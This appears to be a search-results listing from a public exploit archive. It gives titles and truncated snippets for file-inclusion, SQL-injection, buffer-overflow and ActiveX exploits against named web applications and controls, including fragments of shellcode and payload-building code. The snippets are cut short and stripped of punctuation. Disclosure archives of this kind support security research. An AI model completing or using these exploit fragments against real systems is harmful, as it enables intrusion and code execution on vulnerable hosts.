11989 matches found
PHP Real Estate Classifieds - Remote File Inclusion
PHP Real Estate Classifieds Premium Plusheader.php Remote File Inclusion Exploit //=============================================================================================== //Script Name: PHP Real Estate Classifieds Premium Plus // not sec group //Author : http://notsec.com //Email :...
e-Vision CMS 2.02 - SQL Injection Remote Code Execution
e-Vision CMS 2.02 - SQL Injection Remote Code Execution !/usr/bin/php -q -d shortopentag=on ...need i say more? Bug 2 admin/functions.php: if isset$COOKIE'adminlang' $languageselector = $COOKIE'adminlang'; else $languageselector = "en"; include"lang/".$languageselector.".php"; ...speaks for it se...
Remote file inclusion
PHP remote file inclusion vulnerability in sampleecommerce.php in Comdev eCommerce 4.1 allows remote attackers to execute arbitrary PHP code via a URL in the pathdocroot parameter...
[Full-disclosure] Assorted browser vulnerabilities
Hello, Will keep it brief. A couple of browser bugs, fresh from the oven, hand crafted with love: 1 Title : MSIE page update race condition CRITICAL Impact : cookie stealing / setting, page hijacking, memory corruption Demo : http://lcamtuf.coredump.cx/ierace/ ...aka the bait & switch...
Sendcard 3.4.1 - Local File Inclusion / Remote Code Execution
!/usr/bin/php -q -d shortopentag=on ?php errorreporting0; iniset"maxexecutiontime",0; iniset"defaultsockettimeout",5; if $argc4 print "-------------------------------------------------------------------------\r\n"; print " Sendcard = 3.4.1 Remote Code Execution Exploit\r\n"; print...
Quick.Cart <= 2.2 RFI/LFI Remote Code Execution Exploit
Exploit for unknown platform in category web applications ======================================================= Quick.Cart 126...
Particle Gallery 1.0.1 - SQL Injection
Particle Gallery 1.0.1 - SQL Injection !/usr/bin/php -q -d shortopentag=on setvar"COMMENTID", ""; if $GET"editcomment" "" $sql = "SELECT FROM " . $dbprefix . "comments WHERE commentid = " . dbSecure$GET"editcomment"; $cme = $db-execute$sql; if $usr-Access 1 || $SESSION"userid" ==...
Pheap 2.0 Admin Bypass / Remote Code Execution Exploit
Exploit for unknown platform in category web applications ====================================================== Pheap 2.0 Admin Bypass / Remote Code Execution Exploit ====================================================== !/usr/bin/php -q -d shortopentag=on ?php / Explanation: The user...
DNS spoofing techniques-vulnerability warning-the black bar safety net
Article author: Spacefox, Secure Sphere Crew Translation author: Conan, OS3 Open Source Software Society / CICC SingaporeCenter of International Cooperation for Computerization in Singapore Information source: est Overview: what is DNS spoofing it? DNS spoofing is a door to change the DNS of the...
Breakthrough space limitations-vulnerability warning-the black bar safety net
About spaces, there are many alternatives, such as TAB spaces, SQL database//, but I found another alternative, has been published in the hacker manual 2006.7 period, here pick its essence, now! For the SQL statement, we also are accustomed to its spaces, such as select id from name, if no...
vBulletin vBGSiteMap 2.41 (root) Remote File Inclusion Vulnerabilities
No description provided by source. ============================================= vBulletin Google Site Map Creator base Remote File Include Vulnerability ============================================= Found by : Host4vb.com & Cold z3ro Contact : [email protected] , [email protected] Homepage :...
Build it Fast (bif3) 0.4.1 Multiple Remote File Inclusion Vulnerabilities
No description provided by source. bif3-0.4.1 = Remote File Include Vulnerablitiy D.Script: http://bif.lunix.com.ar/tgz/bif3-0.4.1.tgz Discovered by: Alkomandoz Hacker Homepage: asb-may.net & mohandko.com & sniper-sa.com ====================================...
webdesproxy 0.0.1 - exec-shield GET Remote Code Execution
webdesproxy 0.0.1 - exec-shield GET Remote Code Execution / Fedora Core 6 exec-shield based Webdesproxy webdesproxy-0.0.1.tgz remote root exploit reverse connect-back method by Xpl017Elz Advanced exploitation in exec-shield Fedora Core case study URL:...
TinyIdentD 2.2 - Remote Buffer Overflow
TinyIdentD 2.2 - Remote Buffer Overflow tinyidentd exploit code by thomas . pollet at gmail . com bug by Maarten Boone usage: python exploit.py target import socket,sys jmp into nop sled payload = '\xeb\x20' ident crap payload += ', 28 : USERID : UNIX : ' nop sled payload +='XXXX' jmp %esi payloa...
PrecisionID Barcode ActiveX 1.3 Denial of Service Exploit
Exploit for unknown platform in category dos / poc ========================================================= PrecisionID Barcode ActiveX 1.3 Denial of Service Exploit ========================================================= 2007/05/12...
Barcodewiz ActiveX Control 2.52 - Barcodewiz.dll Overwrite (SEH)
Barcodewiz ActiveX Control 2.52 - Barcodewiz.dll Overwrite SEH shellcode=unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36"...
actsoft-overflow.txt
'---------------------------------------------------------------------------------- ' ActSoft DVD-Tools dvdtools.ocx v. 3.8.5.0 Stack Overflow Exploit MoAxB bonus ' url: http://www.activex-soft.com ' ' original advisory: http://www.shinnai.altervista.org/viewtopic.php?id=41&tid=30 '...
Persism CMS <= 0.9.2 system[path] Remote File Inclusion Vulnerabilities
Exploit for unknown platform in category web applications ======================================================================= Persism CMS = 0.9.2 systempath Remote File Inclusion Vulnerabilities ======================================================================= Persism Content Management...
mxBB Module FAQ & RULES 2.0.0 Remote File Inclusion Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? print ' mxBB Module MX Faq & Rules = 2.0.0 faq.php Remote File Include Exploit Vendor: http://www.mx-system.com/modules/mxpafiledb/dload.php?action=download&fileid=371 Bug found and Exploit by bd0rk from SOH-Crew Website1:...